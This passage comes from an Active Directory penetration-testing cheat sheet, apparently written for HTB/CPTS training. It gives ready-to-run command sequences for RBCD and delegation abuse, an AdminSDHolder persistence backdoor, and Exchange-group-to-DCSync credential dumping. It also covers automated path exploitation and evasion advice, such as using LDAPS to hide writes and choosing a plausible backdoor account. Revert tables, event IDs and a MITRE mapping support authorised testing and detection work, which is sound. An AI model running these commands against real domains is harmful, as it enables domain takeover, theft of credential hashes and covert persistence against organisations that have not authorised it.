    470 > PKINIT is Kerberos: use the **DC FQDN** (`--host "$DC"`, not the IP), and if the DC clock is skewed prefix `faketime -f '+7h' …` — this is the exact gotcha on boxes like Fluffy. Fails with no ADCS/WHfB or on pre-2016 schema. Writes fire **5136** on `msDS-KeyCredentialLink`; remove the DeviceID after. Full detail: Shadow Credentials — msDS-KeyCredentialLink Abuse.
    471 
    472 ---
    473 
    474 ### Delegation abuse (RBCD / Constrained / Unconstrained)
    475 
    476 #### RBCD (AddAllowedToAct, or GenericWrite/GenericAll on a computer)
    477 
    478 **What to look for:** write to `msDS-AllowedToActOnBehalfOfOtherIdentity` on a computer → impersonate anyone to a service on it. Needs `MAQ > 0` to create a controlled machine.
    479 
    480 **Exploit:**
    481 
    482 ```bash
    483 # 1. create a computer I control (MAQ default = 10)
    484 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add computer ATTACKER '$Passw0rd123'
    485 # 2. set the RBCD trust on the target computer
    486 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add rbcd 'TARGET$' 'ATTACKER$'
    487 # 3. S4U → impersonation ticket for Administrator to the target
    488 getST.py -spn cifs/target."$DOMAIN" -impersonate Administrator "$DOMAIN"/'ATTACKER$':'$Passw0rd123' -dc-ip "$IP"
    489 # 4. use it, then clean up
    490 export KRB5CCNAME=Administrator@cifs_target.${DOMAIN}@${DOMAIN^^}.ccache
    491 psexec.py -k -no-pass "$DOMAIN"/Administrator@target."$DOMAIN"
    492 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove rbcd 'TARGET$' 'ATTACKER$'
    493 ```
    494 
    495 ```bash
    496 # Impacket-only equivalents for steps 1–2
    497 addcomputer.py -computer-name 'ATTACKER$' -computer-pass '$Passw0rd123' -dc-ip "$IP" "$DOMAIN"/"$U":"$P"
    498 rbcd.py -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' -action write -dc-ip "$IP" "$DOMAIN"/"$U":"$P"
    499 rbcd.py -delegate-to 'TARGET$' -action read  -dc-ip "$IP" "$DOMAIN"/"$U":"$P"    # verify
    500 rbcd.py -delegate-to 'TARGET$' -action flush -dc-ip "$IP" "$DOMAIN"/"$U":"$P"    # cleanup
    501 ```
    502 
    503 ```powershell
    504 # PowerView / StandIn from a Windows foothold
    505 $ComputerSid = Get-DomainComputer ATTACKER -Properties objectsid | Select -Expand objectsid
    506 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
    507 $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0)
    508 Set-DomainObject -Identity 'TARGET$' -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    509 # StandIn one-liner:   .\StandIn.exe --rbcd TARGET$ --sid ATTACKER$
    510 # then:                .\Rubeus.exe s4u /user:ATTACKER$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/target.$DOMAIN /ptt
    511 ```
    512 
    513 #### Constrained delegation (S4U2Proxy)
    514 
    515 **What to look for:** an account with `msDS-AllowedToDelegateTo` populated whose creds you hold — or GenericWrite on it so you *create* the condition.
    516 
    517 **Exploit:**
    518 
    519 ```bash
    520 # I already control the delegation account → straight S4U impersonation
    521 getST.py -spn CIFS/"$DC" -impersonate Administrator "$DOMAIN"/svc_web:'SvcPass1!' -dc-ip "$IP"
    522 
    523 # create the condition myself (GenericWrite on svc_web): flag it + set the target SPN
    524 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac svc_web -f TRUSTED_TO_AUTH_FOR_DELEGATION
    525 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object svc_web msDS-AllowedToDelegateTo -v 'CIFS/'"$DC"
    526 getST.py -spn cifs/"$DC" -impersonate Administrator "$DOMAIN"/svc_web:'SvcPass1!' -dc-ip "$IP"
    527 ```
    528 
    529 > [!tip] /altservice pivot
    530 > `msDS-AllowedToDelegateTo` only lists `CIFS/DC`? The service name isn't integrity-protected in the ticket — request `LDAP/HOST/HTTP` on the same host. Rubeus: `s4u /user:svc_web /rc4:<hash> /impersonateuser:Administrator /msdsspn:CIFS/DC /altservice:LDAP/DC /ptt` → then DCSync via that LDAP ticket.
    531 
    532 #### Unconstrained delegation
    533 
    534 **What to look for:** a non-DC computer with `TRUSTED_FOR_DELEGATION`. Coerce a DC to auth to it, capture the DC TGT. If I hold GenericWrite on a computer I can *set* the flag.
    535 
    536 ```bash
    537 # set the flag (then coerce a DC and capture its TGT with Rubeus monitor / krbrelayx)
    538 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac 'TARGET$' -f TRUSTED_FOR_DELEGATION
    539 # coerce (Linux):
    540 printerbug.py "$DOMAIN"/"$U":"$P"@"$DC" target."$DOMAIN"
    541 ```
    542 
    543 > [!warning] Watch out
    544 > RBCD/constrained fail if the impersonated user is in **Protected Users** or flagged sensitive — target a different DA (or chain Bronze Bit). Set MAQ to `0` kills the RBCD computer-creation path. Reverse **every** delegation write: `remove rbcd`, `remove uac … -f TRUSTED_*`, delete `ATTACKER$`. Delegation flips fire 5136/4741; S4U2Proxy fires 4769. Deep dives: 🟠 Attack · 🟠 Attack · 🟠 Attack.
    545 
    546 ---
    547 
    548 ### AdminSDHolder persistence (post-DA)
    549 
    550 **What to look for:** once I hold DA (or WriteDacl on `CN=AdminSDHolder`), plant a backdoor ACE. SDProp propagates it to **every** protected object every 60 min — self-healing even if blue team strips it off individual objects.
    551 
    552 ```bash
    553 dacledit.py -action write -rights FullControl -principal backdoor_user \
    554   -target-dn "CN=AdminSDHolder,CN=System,DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" \
    555   "$DOMAIN"/Administrator:"$P" -dc-ip "$IP"
    556 # PowerView: Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' -PrincipalIdentity backdoor_user -Rights All
    557 ```
    558 
    559 > [!warning] Watch out
    560 > This is **persistence, not escalation** — needs DA first. Any AdminSDHolder change is exceptionally rare and a critical-severity alert (5136/4780); SDProp also stamps `adminCount=1` on affected users, a queryable IOC. Use a plausible service account as the backdoor principal, not an obvious one. Deep dive: 🟡 Attack.
    561 
    562 ---
    563 
    564 ### 📬 Exchange Windows Permissions → DCSync (group shortcut)
    565 
    566 **What to look for** → membership in **Exchange Windows Permissions**. After most Exchange installs this group holds **WriteDACL on the domain root** — a legacy misconfig that is a one-step path to DCSync (the classic Monteverde-style finish).
    567 
    568 **Exploit**
    569 ```bash
    570 # grant yourself DCSync via the group's WriteDACL, then replicate
    571 dacledit.py -action write -rights DCSync -principal "$U" \
    572   -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip $IP
    573 secretsdump.py "$DOMAIN"/"$U":"$P"@$IP -just-dc
    574 # bloodyAD equivalent:
    575 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host $DC add dcsync "$U"
    576 ```
    577 > [!warning] Watch out
    578 > Same OPSEC as any WriteDacl→DCSync (fires 4662/5136) — `remove dcsync` after dumping. Deep dive: 🟣 Attack.
    579 
    580 ---
    581 
    582 ## Automate the whole path (autobloody)
    583 
    584 When BloodHound draws a clean multi-hop chain of **writable** edges, don't walk it by hand — let [autobloody](https://github.com/CravateRouge/autobloody) compute the cheapest route in Neo4j and fire each edge through bloodyAD:
    585 
    586 ```bash
    587 autobloody -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" -dp 'neo4jpass' \
    588   -ds 'YOU@'"${DOMAIN^^}" -dt 'DOMAIN ADMINS@'"${DOMAIN^^}" -v
    589 ```
    590 
    591 > [!warning] Watch out
    592 > Rollback is **automatic but partial** — it reverses group adds / DACL grants / shadow-cred links but leaves `ForceChangePassword` and `setOwner` in place. Review the path before `-y`: if the cheapest route runs through a real account's password reset, that reset is permanent. Labels are case-sensitive UPPERCASE `NAME@DOMAIN`. Cross a non-writable edge (`AdminTo`, `HasSession`, `CanRDP`) and it stops — bridge by hand and re-run. Full flag reference: Autobloody.
    593 
    594 ---
    595 
    596 ## 🛡️ OPSEC & detection — snapshot, revert, expect the alert
    597 
    598 **Rule zero: snapshot the security descriptor BEFORE any write.** Every revert below assumes you have the original.
    599 
    600 ```bash
    601 # snapshot a target's SD (Impacket) — writes a .bak you can restore byte-for-byte
    602 dacledit.py -action backup -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
    603 dacledit.py -action restore -file dacledit-*.bak -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
    604 ```
    605 
    606 ```powershell
    607 # PowerShell snapshot (export the SDDL string)
    608 (Get-DomainObjectAcl -Identity victim | ConvertTo-Json) | Out-File sd_backup.json
    609 (Get-ADObject victim -Properties nTSecurityDescriptor).nTSecurityDescriptor.Sddl | Out-File sd_backup.txt
    610 ```
    611 
    612 **Revert table — every attack has an undo:**
    613 
    614 | Abuse performed | Revert command(s) |
    615 | :-- | :-- |
    616 | Owner changed | `bloodyAD set owner victim <original>` / `owneredit.py -action write -new-owner <original>` |
    617 | GenericAll/DCSync granted | `bloodyAD remove genericAll victim "$U"` · `remove dcsync "$U"` · or `dacledit.py -action restore` |
    618 | Shadow Credentials added | `bloodyAD remove shadowCredentials victim` / `pywhisker.py --action remove --device-id <id>` / `Whisker.exe remove` |
    619 | SPN planted (roast) | `bloodyAD set object victim servicePrincipalName` (clear) / `StandIn --remove spn` |
    620 | UAC flag flipped | `bloodyAD remove uac victim -f <FLAG>` |
    621 | scriptPath set | `bloodyAD set object victim scriptPath` (clear) |
    622 | Group membership added | `bloodyAD remove groupMember <group> "$U"` / `net group … /del /domain` |
    623 | RBCD set | `bloodyAD remove rbcd 'TARGET$' 'ATTACKER$'` / `rbcd.py -action flush` + delete `ATTACKER$` |
    624 | Password reset | Cannot undo cryptographically — reset to an agreed value with the client; prefer shadow creds to avoid this entirely |
    625 
    626 **Event IDs to expect (DC security log):**
    627 
    628 | Event ID | Fires on | Which abuse |
    629 | :-- | :-- | :-- |
    630 | 4662 | Object access (replication GUIDs, attribute reads/writes) | DCSync, LAPS/gMSA reads (if SACL set) |
    631 | 5136 | Directory object modified | DACL/owner changes, SPN/UAC/scriptPath/KeyCredential writes |
    632 | 5137 | Directory object created | `addcomputer.py` / `bloodyAD add computer` |
    633 | 4670 | Permissions changed | Owner/DACL edits (if audited) |
    634 | 4724 | Password reset by admin/right | ForceChangePassword abuse |
    635 | 4728 / 4732 / 4756 | Member added to global / local / universal group | AddMember abuse (DA = 4728) |
    636 | 4738 | User account changed | UAC flips, password sets |
    637 | 4768 / 4769 | TGT / TGS requests | Shadow-cred PKINIT, S4U chains, roast requests |
    638 | 1644 | Expensive LDAP search | Noisy `Find-InterestingDomainAcl`-style sweeps |
    639 
    640 > [!warning] Reads quiet, writes loud — pick accordingly
    641 > LAPS/gMSA reads and most `get object`/`find` enumeration touch nothing durable and rarely trip SACLs. Every *write* above (5136/5137) is the detection surface. If two paths reach the same objective — e.g. GenericAll on a user — prefer shadow creds (one attribute write, reversible) over password reset (4724 + broken logon). Use `-s` (LDAPS) for bloodyAD writes so the change isn't on the wire in cleartext.
    642 
    643 > [!tip] CPTS exam tips
    644 > - **Re-enumerate after every group add** — inherited rights (e.g. Service Accounts → GenericWrite over svc accounts) only appear on the next graph refresh; bloodyAD's per-call auth picks them up live.
    645 > - RBCD is the exam's favourite GenericAll-on-computer finish; if MAQ is 0, shadow-cred the machine account instead (no new object needed).
    646 > - Targeted Kerberoast needs **no ADCS** — when there's no CA in scope, it's your GenericWrite answer.
    647 > - If a "writable" edge fails with `insufficient access`, check you're hitting the right DC (use `--host "$DC"` FQDN) and that the edge isn't stale — re-read with `--resolve-sd`.
    648 > - Cross-links: [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) (roast/AS-REP fundamentals) · [Stage 07 — ADCS](/sheets/pentest-workflow/adcs-and-certificate-abuse) (shadow creds tail, ESC paths) · [Stage 08 — Password Attacks](/sheets/pentest-workflow/password-attacks-and-credential-hunting) (cracking the roasted hashes) · [Stage 10 — Lateral Movement](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) (spending DCSync output) · [Stage — Domain Trusts](/sheets/pentest-workflow/domain-trusts-and-cross-forest) (SIDHistory/foreign ACE edges).
    649 
    650 ---
    651 
    652 ## 🧭 Decision flow — edge in hand, what's the quietest kill?
    653 
    654 <figure class="flow plate corners">
    655   <figcaption class="flow__cap"><span class="flow__kind">Quietest kill decision</span><span class="flow__dir">TD</span></figcaption>
    656   <div class="flow__body">
    657     <svg class="flow-svg" viewBox="0 0 1265 616" role="img" aria-label="Decision tree from a writable edge, branching by target type into the quietest takeover, then reverting every write">
    658       <path class="fedge" d="M630,106 L630,178" marker-end="url(#flow-arrow)" />
    659       <path class="fedge" d="M630,226 L220,298" marker-end="url(#flow-arrow)" />
    660       <path class="fedge" d="M630,226 L640,298" marker-end="url(#flow-arrow)" />
    661       <path class="fedge" d="M630,226 L940,298" marker-end="url(#flow-arrow)" />
    662       <path class="fedge" d="M630,226 L1140,298" marker-end="url(#flow-arrow)" />
    663       <path class="fedge" d="M220,346 L120,418" marker-end="url(#flow-arrow)" />
    664       <path class="fedge" d="M220,346 L320,418" marker-end="url(#flow-arrow)" />
    665       <path class="fedge" d="M640,346 L540,418" marker-end="url(#flow-arrow)" />
    666       <path class="fedge" d="M640,346 L740,418" marker-end="url(#flow-arrow)" />
    667       <path class="fedge" d="M120,466 L555,538" marker-end="url(#flow-arrow)" />
    668       <path class="fedge" d="M320,466 L585,538" marker-end="url(#flow-arrow)" />
    669       <path class="fedge" d="M540,466 L615,538" marker-end="url(#flow-arrow)" />
    670       <path class="fedge" d="M740,466 L645,538" marker-end="url(#flow-arrow)" />
    671       <path class="fedge" d="M940,346 L940,502 L675,502 L675,538" marker-end="url(#flow-arrow)" />
    672       <path class="fedge" d="M1140,346 L1140,518 L705,518 L705,538" marker-end="url(#flow-arrow)" />
    673       <g class="fnode is-entry"><rect class="fnode__box" x="545" y="58" width="170" height="48" /><text class="fnode__label" x="630" y="86" text-anchor="middle">Writable edge found</text></g>
    674       <g class="fnode is-decision"><rect class="fnode__box" x="545" y="178" width="170" height="48" /><text class="fnode__label" x="630" y="206" text-anchor="middle">Target type?</text></g>
    675       <g class="fnode is-decision"><rect class="fnode__box" x="135" y="298" width="170" height="48" /><text class="fnode__label" x="220" y="326" text-anchor="middle">PKINIT / ADCS present?</text></g>
    676       <g class="fnode is-decision"><rect class="fnode__box" x="555" y="298" width="170" height="48" /><text class="fnode__label" x="640" y="326" text-anchor="middle">MAQ &gt; 0?</text></g>
    677       <g class="fnode"><rect class="fnode__box" x="855" y="298" width="170" height="48" /><text class="fnode__label" x="940" y="319" text-anchor="middle">AddMember → inherit rights<tspan class="sub" x="940" dy="15">re-enumerate</tspan></text></g>
    678       <g class="fnode"><rect class="fnode__box" x="1055" y="298" width="170" height="48" /><text class="fnode__label" x="1140" y="319" text-anchor="middle">WriteDacl → grant DCSync<tspan class="sub" x="1140" dy="15">secretsdump → remove</tspan></text></g>
    679       <g class="fnode"><rect class="fnode__box" x="35" y="418" width="170" height="48" /><text class="fnode__label" x="120" y="439" text-anchor="middle">Shadow Credentials<tspan class="sub" x="120" dy="15">no password touch</tspan></text></g>
    680       <g class="fnode"><rect class="fnode__box" x="235" y="418" width="170" height="48" /><text class="fnode__label" x="320" y="439" text-anchor="middle">Targeted Kerberoast<tspan class="sub" x="320" dy="15">plant SPN, roast, remove</tspan></text></g>
    681       <g class="fnode"><rect class="fnode__box" x="455" y="418" width="170" height="48" /><text class="fnode__label" x="540" y="446" text-anchor="middle">RBCD → S4U → local admin</text></g>
    682       <g class="fnode"><rect class="fnode__box" x="655" y="418" width="170" height="48" /><text class="fnode__label" x="740" y="446" text-anchor="middle">Shadow creds on MACHINE$</text></g>
    683       <g class="fnode"><rect class="fnode__box" x="545" y="538" width="170" height="48" /><text class="fnode__label" x="630" y="559" text-anchor="middle">Revert every write<tspan class="sub" x="630" dy="15">per OPSEC table</tspan></text></g>
    684       <g class="felabel"><rect class="felabel__box" x="406" y="254" width="37" height="16" /><text class="felabel__text" x="425" y="265" text-anchor="middle">User</text></g>
    685       <g class="felabel"><rect class="felabel__box" x="604" y="254" width="62" height="16" /><text class="felabel__text" x="635" y="265" text-anchor="middle">Computer</text></g>
    686       <g class="felabel"><rect class="felabel__box" x="763" y="254" width="43" height="16" /><text class="felabel__text" x="785" y="265" text-anchor="middle">Group</text></g>
    687       <g class="felabel"><rect class="felabel__box" x="844" y="254" width="81" height="16" /><text class="felabel__text" x="885" y="265" text-anchor="middle">Domain root</text></g>
    688       <g class="felabel"><rect class="felabel__box" x="154" y="374" width="31" height="16" /><text class="felabel__text" x="170" y="385" text-anchor="middle">Yes</text></g>
    689       <g class="felabel"><rect class="felabel__box" x="257" y="374" width="25" height="16" /><text class="felabel__text" x="270" y="385" text-anchor="middle">No</text></g>
    690       <g class="felabel"><rect class="felabel__box" x="574" y="374" width="31" height="16" /><text class="felabel__text" x="590" y="385" text-anchor="middle">Yes</text></g>
    691       <g class="felabel"><rect class="felabel__box" x="677" y="374" width="25" height="16" /><text class="felabel__text" x="690" y="385" text-anchor="middle">No</text></g>
    692     </svg>
    693   </div>
    694 </figure>
    695 
    696 ## 🎯 MITRE ATT&CK mapping
    697 
    698 | Technique | ID | Where used here |
    699 | :-- | :-- | :-- |
    700 | Account Manipulation | T1098 | Group adds, UAC flips, SPN plants |
    701 | — Additional Cloud/Domain Credentials | T1098.001 | Shadow Credentials (KeyCredentialLink) |
    702 | Abuse Elevation Control Mechanism | T1548 | RBCD / delegation abuse (S4U) |
    703 | DCSync | T1003.006 | DS-Replication rights abuse, secretsdump |
    704 | Kerberoasting | T1558.003 | Targeted Kerberoast via GenericWrite |
    705 | AS-REP Roasting | T1558.004 | DONT_REQ_PREAUTH flip |
    706 | Steal or Forge Kerberos Tickets | T1558 | S4U2Self/Proxy ticket requests |
    707 | Exploitation for Credential Access | T1212 | Password reset via ForceChangePassword |
    708 | OS Credential Dumping | T1003 | LAPS/gMSA reads, post-DCSync |
    709 | Account Discovery / Permission Groups | T1087 / T1069 | ACL enumeration (PowerView, BloodHound) |
    710 | Modify Authentication Process (AdminSDHolder) | T1556 | AdminSDHolder backdoor persistence |
    711 
    712 > [!failure] Common pitfalls (burned boxes teach these)
    713 > - **Forgot `-s`/LDAPS** → write visible on the wire; some DCs now *require* LDAPS for attribute writes (LDAP signing/channel binding enforcement).
    714 > - **Shadow creds against the IP, not FQDN** → PKINIT fails; always `--host "$DC"`.
    715 > - **Cleaned the SPN before the TGS arrived** → roast hash worthless. Request first, remove second.
    716 > - **Added self to a group, then reused an old TGT** → new rights not in the PAC. Purge and re-request.
    717 > - **WriteOwner on an adminCount=1 object** → SDProp reverts your DACL grant in ≤60 min; move fast or go AdminSDHolder.
    718 > - **Left `ATTACKER$` behind** → 4741/5137 + an obvious machine account; delete it.
    719 > - **Trusted the graph blindly** → edge was stale; always `--resolve-sd` before the write.
    720 
    721 ---
    722 
    723 > [!navigation] Continue the attack flow
    724 > **Previous:** [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks)
    725 >
    726 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
    727 >
    728 > **Next:** [Stage 07 — ADCS and Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse)